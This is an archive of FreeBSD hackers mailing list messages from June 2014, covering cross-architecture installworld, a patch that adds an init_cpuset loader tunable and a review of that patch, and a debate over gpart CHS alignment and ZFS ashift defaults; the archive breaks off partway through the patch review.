<098847BE-04B5-4E6F-98B8-87B5C7055C69@mail.turbofuzz.com> <538B8494.3040701@mu.org> <7977A65A-5ABE-49DD-8E76-074B54943D64@mail.turbofuzz.com> <538BDDF5.708@mu.org> <409ccb2cf1dc027bdf6ff7ccbda08723.authenticated@ultimatedns.net> In-Reply-To: <409ccb2cf1dc027bdf6ff7ccbda08723.authenticated@ultimatedns.net> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@freebsd.org, Jordan Hubbard X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Jun 2014 14:42:34 -0000 On 6/2/14 7:31 AM, Chris H wrote: >> On 6/1/14, 1:27 PM, Jordan Hubbard wrote: >>> On Jun 1, 2014, at 12:52 PM, Alfred Perlstein wrote: >>> >>> >>> Ugh, that was frustrating... but now fixed sorta... >>> >>> Is there a post-processing step i can do on the target install host to >>> get my schg bits set on the right things? >>> >>> -Alfred > I realize I'm coming in a little late in the game. But would > make kernel-toolchain > for a 32bit ARC have been of any help, prior to some/all of the rest? I'm not sure, basically I was hoping to be able to mount the src/obj directories from the target machine and run "make installkernel installworld" this was stymied because the tools used to install were amd64. So if you are saying "would it help if there was a build target to create 32bit install(1), strip(1) and whatever else is used during 'make install{kernel,world}" then I would say: "Yes, that would be really awesome and I could see if being used to build other embedded where make kernel/world takes way too long." -Alfred > > --Chris >> >> >> >> >>> - Jordan >>> >>> >>> _______________________________________________ >>> freebsd-hackers@freebsd.org mailing list >>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" >>> >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" >> >> > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 2 14:53:49 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4D5B86C6 for ; Mon, 2 Jun 2014 14:53:49 +0000 (UTC) Received: from mail.ipfw.ru (mail.ipfw.ru [IPv6:2a01:4f8:120:6141::2]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 10B7B2F0A for ; Mon, 2 Jun 2014 14:53:49 +0000 (UTC) Received: from [2a02:6b8:0:401:222:4dff:fe50:cd2f] (helo=ptichko.yndx.net) by mail.ipfw.ru with esmtpsa (TLSv1:CAMELLIA256-SHA:256) (Exim 4.76 (FreeBSD)) (envelope-from ) id 1WrPhe-0006CZ-Cy for hackers@freebsd.org; Mon, 02 Jun 2014 14:42:54 +0400 Message-ID: <538C8F9A.4020301@FreeBSD.org> Date: Mon, 02 Jun 2014 18:52:10 +0400 From: "Alexander V. Chernikov" User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.0.1 MIME-Version: 1.0 To: hackers@freebsd.org Subject: Permit init(8) use its own cpuset group. Content-Type: multipart/mixed; boundary="------------070505090402050105000502" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Jun 2014 14:53:49 -0000 This is a multi-part message in MIME format. --------------070505090402050105000502 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Hello list! Currently init(8) uses group 1 which is root group. Modifications of this group affects both kernel and userland threads. Additionally, such modifications are impossible, for example, in presence of multi-queue NIC drivers (like igb or ixgbe) which binds their threads to particular cpus. Proposed change ("init_cpuset" loader tunable) permits changing cpu masks for userland more easily. Restricting user processes to migrate to/from CPU cores used for network traffic processing is one of the cases. Phabricator: https://phabric.freebsd.org/D141 (the same version attached inline) If there are no objections, I'll commit this next week. --------------070505090402050105000502 Content-Type: text/x-patch; name="init_cpuset.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="init_cpuset.diff" Index: sbin/init/init.c =================================================================== --- sbin/init/init.c (revision 266306) +++ sbin/init/init.c (working copy) @@ -47,6 +47,8 @@ static const char rcsid[] = #include #include #include +#include +#include #include #include #include @@ -320,6 +322,19 @@ invalid: warning("Can't chroot to %s: %m", kenv_value); } + if (kenv(KENV_GET, "init_cpuset", kenv_value, sizeof(kenv_value)) > 0) { + if (getpid() == 1) { + cpusetid_t setid; + + setid = -1; + if (cpuset(&setid) != 0) { + warning("cpu set alloc failed: %m"); + } else { + if (cpuset_setid(CPU_WHICH_PID, 1, setid) != 0) + warning("cpuset_setsid failed: %m"); + } + } + } /* * Additional check if devfs needs to be mounted: * If "/" and "/dev" have the same device number, --------------070505090402050105000502-- From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 2 15:02:35 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 69E5C952; Mon, 2 Jun 2014 15:02:35 +0000 (UTC) Received: from i3mail.icecube.wisc.edu (i3mail.icecube.wisc.edu [128.104.255.23]) by mx1.freebsd.org (Postfix) with ESMTP id 20F0B2022; Mon, 2 Jun 2014 15:02:34 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by i3mail.icecube.wisc.edu (Postfix) with ESMTP id 7C7F13806B; Mon, 2 Jun 2014 10:02:33 -0500 (CDT) X-Virus-Scanned: amavisd-new at icecube.wisc.edu Received: from i3mail.icecube.wisc.edu ([127.0.0.1]) by localhost (i3mail.icecube.wisc.edu [127.0.0.1]) (amavisd-new, port 10030) with ESMTP id X0mKz39HqwFI; Mon, 2 Jun 2014 10:02:33 -0500 (CDT) Received: from comporellon.tachypleus.net (polaris.tachypleus.net [75.101.50.44]) by i3mail.icecube.wisc.edu (Postfix) with ESMTPSA id D2F093806A; Mon, 2 Jun 2014 10:02:32 -0500 (CDT) Message-ID: <538C9207.9040806@freebsd.org> Date: Mon, 02 Jun 2014 08:02:31 -0700 From: Nathan Whitehorn User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Matthew Ahrens Subject: Re: fdisk(8) vs gpart(8), and gnop References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <3D6974D83AE9495E890D9F3CA654FA94@multiplay.co.uk> <538B4CEF.2030801@freebsd.org> <1DB2D63312CE439A96B23EAADFA9436E@multiplay.co.uk> <538B4FD7.4090000@freebsd.org> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-fs , FreeBSD Hackers , Steven Hartland X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Jun 2014 15:02:35 -0000 On 06/01/14 14:27, Matthew Ahrens wrote: > >>> I think you will get some objections to that, as it can have quite an >>> impact >>> on the performance for disks which are 512, due to the increased overhead >>> of >>> transfering 4k when only 512 is really required. This has a more dramatic >>> impact on RAIDZx due too. >>> >>> Personally we run a custom kernel on our machines which has just this >>> change >>> in it to ensure capability with future disks, so I can confirm it does >>> indeed >>> have the desired effect :) >>> >> So the discussion here is related to what to do about the installer. The >> current ZFS component unconditionally creates gnops all over the place to >> set ashift to 4k. That's across the board worse: it has exactly the >> performance impact of changing the default of this sysctl (whatever that >> is), it can't easily be overridden (which the sysctl can), and it's a >> horrible hack to boot. There are a few options: >> >> 1. Change the default of vfs.zfs.min_auto_ashift >> > This is probably a bad idea -- as others have mentioned, it can drastically > impact space usage and performance on 512B disks, especially when using > small ZFS blocks (e.g. for databases or VDI) and/or RAID-Z. That said, it > could be a reasonable default for specialized distros that are not used for > these workloads (maybe FreeNAS or PCBSD?). > > 2. Have the same effect but in a vastly worse way by adjusting the >> installer to create gnops >> 3. Have ZFS choose by itself and decide to do that permanently. >> > If the device reports a 512B sector size, it would be great for ZFS to > assume the device could be lying, and automatically determine the minimum > ashift which gives good performance. I think this could be done reasonably > well for the common case by doing the following when each 512B-sector > device is added: > > 1. do random 4KB writes to the disk to determine wIOPS@4K > 2. do random 3.5KB writes to the disk to determine wIOPS@3.5K > > If wIOPS@4K > wIOPS@3.5K, assume 4KB sectors, otherwise assume 512B > sectors. (Note: I haven't tried this in practice; we will need to test it > out and perhaps make some tweaks.) > > I don't have the time or hardware to implement and test this, but I'd be > happy to mentor or code review. > > --matt I think we basically don't have any lying disks anymore. The ATA code does a very good job of this -- most tell the truth, but in an odd way that gets reported up the stack. ada(4) has a quirks table for the ones that do not. If this is the only concern, then we should just stop telling people to worry about this. My bigger concern is this pool upgrade one -- what if someone puts in a 4K disk in the future? -Nathan From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 2 15:14:37 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D5B8018E for ; Mon, 2 Jun 2014 15:14:37 +0000 (UTC) Received: from mail-forward5.uio.no (mail-forward5.uio.no [IPv6:2001:700:100:10::37]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 5A2AF2165 for ; Mon, 2 Jun 2014 15:14:37 +0000 (UTC) Received: from exim by mail-out5.uio.no with local-bsmtp (Exim 4.80.1) (envelope-from ) id 1WrTwZ-0004Jl-DV for hackers@freebsd.org; Mon, 02 Jun 2014 17:14:35 +0200 Received: from mail-mx3.uio.no ([129.240.10.44]) by mail-out5.uio.no with esmtp (Exim 4.80.1) (envelope-from ) id 1WrTwF-0004Il-WD; Mon, 02 Jun 2014 17:14:16 +0200 Received: from shiva.uio.no ([129.240.203.14]) by mail-mx3.uio.no with esmtp (Exim 4.80) (envelope-from ) id 1WrTwF-0001kQ-I4; Mon, 02 Jun 2014 17:14:15 +0200 Message-ID: <538C94C5.4010305@thanelange.no> Date: Mon, 02 Jun 2014 17:14:13 +0200 From: Gyrd Thane Lange User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Warren Block , "Andrey V. Elsukov" Subject: Re: fdisk(8) vs gpart(8), and gnop References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <20140601020053.GR43976@funkthat.com> <1401632369.20883.51.camel@revolution.hippie.lan> <538C6795.9080005@FreeBSD.org> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-UiO-Spam-info: not spam, SpamAssassin (score=-5.0, required=5.0, autolearn=disabled, UIO_MAIL_IS_INTERNAL=-5, uiobl=NO, uiouri=NO) X-UiO-Scanned: 96D65408C06D34D29BE62C1C456B766054712699 X-UiO-SPAM-Test: remote_host: 129.240.203.14 spam_score: -49 maxlevel 80 minaction 2 bait 0 mail/h: 1 total 348 max/h 6 blacklist 0 greylist 0 ratelimit 0 Cc: John-Mark Gurney , hackers@FreeBSD.org, Ian Lepore , "Michael W. Lucas" , Marcel Moolenaar X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Jun 2014 15:14:38 -0000 On 02. juni 2014 14:50, Warren Block wrote: > On Mon, 2 Jun 2014, Andrey V. Elsukov wrote: > >> On 01.06.2014 18:36, Warren Block wrote: >>> Thread starts here: >>> http://lists.freebsd.org/pipermail/freebsd-geom/2014-February/005835.html >>> >>> >>>> For the longest time geom would warn about "geometry does not match >>>> label" that had something to do with different parts of the code >>>> calculating different CHS values. Eventually it was decided to remove >>>> the unactionable message, and my vague memory is that the justification >>>> was basically "because CHS is meaningless to geom and modern BIOSen." >>>> >>>> If there's some "it would cause problems on this ancient hardware that >>>> only 3 people in the world use" (I'm usually one of those people -- we >>>> support some old equipment in the field at $work), then maybe there >>>> could be a flag that enables the old CHS alignment behavior. >>> >>> Short form of above: gpart is supposed to hide and handle underlying >>> GEOM issues, so it needs an override to be able to create these >>> "non-standard" MBRs with slices aligned to arbitrary values. >> >> Hello, >> >> I propose add a sysctl variable kern.geom.part.mbr.enforce_chs which is >> set by default. Merge it to all branches, then change it to zero in >> head/. User could change it when he wants to use alignment to 4k. >> And if there is no objections against this, I can do it. > > That's an interesting idea! If set, and the user asks for an alignment > that is not allowed with CHS, gpart can mention that sysctl in the error > message. Hi! I think a sysctl is a great idea! I'm supporting any idea that frees me from unnecessary CHS constraint. Even more so if I can specify my preference once and forget about it. (Currently I have to maintain local patches where the CHS calculations have been removed). Personally i think the current CHS constraint is positively wrong for modern disks that are LBA-based instead of CHS. Because of the supposed backwards compatible LBA-CHS-LBA roundtrip we end up using a bogus sector value of 63 instead of the native block size of the disk. I.e. using the block size is more in the spirit of the old CHS where the whole point of the calculation is to make it easier on the hardware. I'd be more supportive of keeping the CSH calculations if GEOM would only do it for detected non-LBA disks. I.e. only do it for hardware that needs it. Even without the CHS constraints in gpart, you can get the same effect with: gpart -a 63 (Assuming there aren't any disks in the wild with other geometries.) Best regards, Gyrd ^_^ From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 2 13:04:46 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1096C7AE for ; Mon, 2 Jun 2014 13:04:46 +0000 (UTC) Received: from server1.xenet.de (server1out.xenet.de [213.221.94.200]) by mx1.freebsd.org (Postfix) with ESMTP id 72FBE22D6 for ; Mon, 2 Jun 2014 13:04:43 +0000 (UTC) Received: from [10.0.0.32] (intern.xenet.de [213.221.94.50]) (authenticated bits=0) by server1.xenet.de (8.12.5/8.12.5) with ESMTP id s52CtBBJ074877 for ; Mon, 2 Jun 2014 14:55:14 +0200 (CEST) (envelope-from meyser@xenet.de) Message-ID: <538C742D.9080901@xenet.de> Date: Mon, 02 Jun 2014 14:55:09 +0200 From: Matthias Meyser Organization: XeNET GmbH, Clausthal-Zellerfeld User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: Upgrading an i386 machine from amd64. References: <538B61EC.9000403@mu.org> In-Reply-To: <538B61EC.9000403@mu.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.38 X-Mailman-Approved-At: Mon, 02 Jun 2014 15:20:51 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Jun 2014 13:04:46 -0000 Hi All Am 01.06.2014 19:25, schrieb Alfred Perlstein: > Is there a way to build on amd64 and then mount over nfs the build and src > and installworld from an i386 machine? > > The problem seems to be that "install" and "strip" and etc are built as > amd64 binaries so that the installworld will fail. Same thing here with arm. buildmachine amd64 targetmachine armv7 Intstead of fiddling around with nfs rootmount and rsync one should tell the makemagic to not use the crossinstalltools (amd64) but the tools included in the fresh builded world (armv7). Either automatic or bei a cmdline switch. Then we could just mount /usr/src, /usr/doc/ /usr/obj and do a normal installkernel/world. MHO Matthias -- Matthias Meyser | XeNET GmbH Tel.: +49-5323-9489050 | 38678 Clausthal-Zellerfeld, Marktstrasse 40 Fax: +49-5323-9489059 | Registergericht: Amtsgericht Braunschweig HRB 110823 Email: Meyser@xenet.de | Geschaeftsfuehrer: Matthias Meyser From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 2 15:49:35 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CFEF495; Mon, 2 Jun 2014 15:49:35 +0000 (UTC) Received: from mail.feld.me (mail.feld.me [66.170.3.6]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "mail.feld.me", Issuer "Gandi Standard SSL CA" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 9E6932495; Mon, 2 Jun 2014 15:49:34 +0000 (UTC) Received: from mail.feld.me (mail.feld.me [66.170.3.6]); by mail.feld.me (OpenSMTPD) with ESMTP id f94517e4; Mon, 2 Jun 2014 10:49:33 -0500 (CDT) DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=feld.me; h=mime-version :content-type:date:from:to:cc:subject:in-reply-to:references :message-id:sender; s=blargle2; bh=U1+qVQibQ1ewYluFG2hYO5ZYx1k=; b= FJtCok4A5uyeFvUKyy9L/koWIMYHsVSk3Pzg8QE4FVOLlRfpgaMn3pandKKd5i62 ejAqH/ZZoIkJxn7g986mwpVj8L29eXleQvX4BtJBvYoWlhlp4WaGhQ/gSt4zM9j6 Q/ooaE97v09xVarQqJbElQJEfQ3lB6s5WPPa/pKfvPNKpFFWWYWuTq8QmczhXpno xLGpUnybi+0F8roASaKEfsnXTr6eqptgpXOtcLjqgWekfsGndkYeFnMvOkSrNhq6 A0cONPkCiBdasJhTaQ833ZjfKd78n3qh/Y98sVQIyaA5xCbQ9fRjF7bwQkG5xqiM KMwiKndP6+w34V1OgbS+7Q== DomainKey-Signature: a=rsa-sha1; c=nofws; d=feld.me; h=mime-version :content-type:date:from:to:cc:subject:in-reply-to:references :message-id:sender; q=dns; s=blargle2; b=now8t03R7BtRZ8qdnrHUOTq oCSGCfoih73+U03Lt5/3qnjxJxGx/r3ChKjfzigfbDoKt2CKtGXObwN3CC8XgAsf 61s6Z1mmHcC62xJWQiaWbYcC0kIsLJREqxkHJTrxyy+fTLOGSLVvkjEiqf14tFRK +lxx/bPBFlHEXb6B0s+iGsTR3YGmxjNsJF3aBjjnpOgW/CkKhgoGuhm4JZTqGyaq yUhfYTg9jm4XsQFHeZu7My75RhFZWZo+Wy2ETKkAvTcf70dmfQSlBUZAoSTCWc1r e6AlMkz2wRcZPKbWB2FUZG9WpRfrB2lSWep1UVNVtM3BNPO+ZBAFbjLL0bwgMFw= = Received: from mail.feld.me (mail.feld.me [66.170.3.6]); by mail.feld.me (OpenSMTPD) with ESMTP id b03b15d9; Mon, 2 Jun 2014 10:49:33 -0500 (CDT) Received: from feld@feld.me by mail.feld.me (Archiveopteryx 3.2.0) with esmtpa id 1401724172-322-320/5/20; Mon, 2 Jun 2014 15:49:32 +0000 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Date: Mon, 2 Jun 2014 10:49:32 -0500 From: Mark Felder To: Nathan Whitehorn Subject: Re: fdisk(8) vs gpart(8), and gnop In-Reply-To: <538C9207.9040806@freebsd.org> References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <3D6974D83AE9495E890D9F3CA654FA94@multiplay.co.uk> <538B4CEF.2030801@freebsd.org> <1DB2D63312CE439A96B23EAADFA9436E@multiplay.co.uk> <538B4FD7.4090000@freebsd.org> <538C9207.9040806@freebsd.org> Message-Id: X-Sender: feld@FreeBSD.org User-Agent: Roundcube Webmail/1.0.1 Sender: feld@feld.me Cc: freebsd-fs@freebsd.org, FreeBSD Hackers , Matthew Ahrens , owner-freebsd-fs@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Jun 2014 15:49:35 -0000 On 2014-06-02 10:02, Nathan Whitehorn wrote: > > My bigger concern is this pool upgrade one -- what if someone puts in > a 4K disk in the future? This is a concern of mine, and I sort of wish we did 4k by default and forced people to override if they want 512b or something else. From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 2 16:32:09 2014 Return-Path: Delivered-To: hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9DA46FF4; Mon, 2 Jun 2014 16:32:09 +0000 (UTC) Received: from mail.xcllnt.net (mail.xcllnt.net [50.0.150.214]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 4097829AA; Mon, 2 Jun 2014 16:32:08 +0000 (UTC) Received: from [172.29.2.230] ([66.129.239.13]) (authenticated bits=0) by mail.xcllnt.net (8.14.9/8.14.9) with ESMTP id s52GVwh1010189 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO); Mon, 2 Jun 2014 09:32:00 -0700 (PDT) (envelope-from marcel@xcllnt.net) Content-Type: multipart/signed; boundary="Apple-Mail=_25D79145-C3CE-44E6-AFFB-9C587B79E307"; protocol="application/pgp-signature"; micalg=pgp-sha1 Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: fdisk(8) vs gpart(8), and gnop From: Marcel Moolenaar In-Reply-To: <1401634837.20883.74.camel@revolution.hippie.lan> Date: Mon, 2 Jun 2014 09:31:53 -0700 Message-Id: References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <20140601020053.GR43976@funkthat.com> <1401632369.20883.51.camel@revolution.hippie.lan> <1401634837.20883.74.camel@revolution.hippie.lan> To: Ian Lepore X-Mailer: Apple Mail (2.1878.2) Cc: John-Mark Gurney , hackers@FreeBSD.org, "Michael W. Lucas" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Jun 2014 16:32:09 -0000 --Apple-Mail=_25D79145-C3CE-44E6-AFFB-9C587B79E307 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii On Jun 1, 2014, at 8:00 AM, Ian Lepore wrote: > On Sun, 2014-06-01 at 08:36 -0600, Warren Block >> >> Short form of above: gpart is supposed to hide and handle underlying >> GEOM issues, so it needs an override to be able to create these >> "non-standard" MBRs with slices aligned to arbitrary values. > > Hmm. If it takes a special "do what I actually said" flag, that's okay > I guess. > > My problem with that thread is the implicit assumption that CHS > alignment is required by *something* but there's no evidence what that > something is, other than "MBR has always in the past been CHS aligned." That's not what has been said in the thread. What was said is that if we don't have anything that needs CHS alignment then CHS alignment can be removed. Thus: it's ok to change the behavior, but make sure nothing breaks. > I don't have enough knowledge in this area to contradict that > assumption, I'm just always skeptical of "thus it was spoken in 1982 and > thus it will always be" as an argument against sensible change. Looking > at what's done on other modern OSes seems reasonable, for example. My limited experience in this area has told me one thing: interoperability is the only goal that leads to success. We have made seamingly harmless changes (like marking the PMBR as active), only to find out that it actually breaks real systems. A broken gpart does not simply impact a particular FreeBSD version, it impacts every system and every FreeBSD release that gets exposed to the disk that has the invalid partitioning. A good example of the last is the invalid disks we had with "dangerously dedicated". In short: DANGER, WILL ROBINSON! -- Marcel Moolenaar marcel@xcllnt.net --Apple-Mail=_25D79145-C3CE-44E6-AFFB-9C587B79E307 Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Comment: GPGTools - http://gpgtools.org iEYEARECAAYFAlOMpvkACgkQpgWlLWHuifY65wCeK1oRFm7jn1rP4imT5nrACz+W OvIAn3SgdpPVId0vogxUo8QtQAP3vmHT =iKzM -----END PGP SIGNATURE----- --Apple-Mail=_25D79145-C3CE-44E6-AFFB-9C587B79E307-- From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 2 16:49:01 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7CFEE154; Mon, 2 Jun 2014 16:49:01 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 03C5C2B47; Mon, 2 Jun 2014 16:49:00 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.9/8.14.9) with ESMTP id s52GmotM043454; Mon, 2 Jun 2014 19:48:50 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s52GmotM043454 Received: (from kostik@localhost) by tom.home (8.14.9/8.14.8/Submit) id s52Gmop9043453; Mon, 2 Jun 2014 19:48:50 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Mon, 2 Jun 2014 19:48:50 +0300 From: Konstantin Belousov To: "Alexander V. Chernikov" Subject: Re: Permit init(8) use its own cpuset group. Message-ID: <20140602164850.GS3991@kib.kiev.ua> References: <538C8F9A.4020301@FreeBSD.org> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="6k8oSBQUGGHRSAt9" Content-Disposition: inline In-Reply-To: <538C8F9A.4020301@FreeBSD.org> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Jun 2014 16:49:01 -0000 --6k8oSBQUGGHRSAt9 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Jun 02, 2014 at 06:52:10PM +0400, Alexander V. Chernikov wrote: > Hello list! >=20 > Currently init(8) uses group 1 which is root group. > Modifications of this group affects both kernel and userland threads. > Additionally, such modifications are impossible, for example, in presence > of multi-queue NIC drivers (like igb or ixgbe) which binds their threads = to > particular cpus. >=20 > Proposed change ("init_cpuset" loader tunable) permits changing cpu=20 > masks for > userland more easily. Restricting user processes to migrate to/from CPU= =20 > cores > used for network traffic processing is one of the cases. >=20 > Phabricator: https://phabric.freebsd.org/D141 (the same version attached= =20 > inline) >=20 > If there are no objections, I'll commit this next week. Why is the tunable needed ? IMO it is more reasonable to create a new cpuset always, at least I cannot explain why the existing behaviour is useful. If creating new cpuset unconditionally, you could consider doing it in kernel in start_init(). You would also need to update the cpuset(2) man page, which states that cpuset 1 is set for all processes. Still, see comments below for the patch. > Index: sbin/init/init.c > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > --- sbin/init/init.c (revision 266306) > +++ sbin/init/init.c (working copy) > @@ -47,6 +47,8 @@ static const char rcsid[] =3D > #include > #include > #include > +#include > +#include > #include > #include > #include > @@ -320,6 +322,19 @@ invalid: > warning("Can't chroot to %s: %m", kenv_value); > } > =20 > + if (kenv(KENV_GET, "init_cpuset", kenv_value, sizeof(kenv_value)) > 0) { > + if (getpid() =3D=3D 1) { If you use the && operator for conditionals instead of two if()s, the nesti= ng level of the block can be reduced. > + cpusetid_t setid; The variable must be declared at the function start. > + > + setid =3D -1; Why do you need to initialize the variable ? > + if (cpuset(&setid) !=3D 0) { > + warning("cpu set alloc failed: %m"); > + } else { > + if 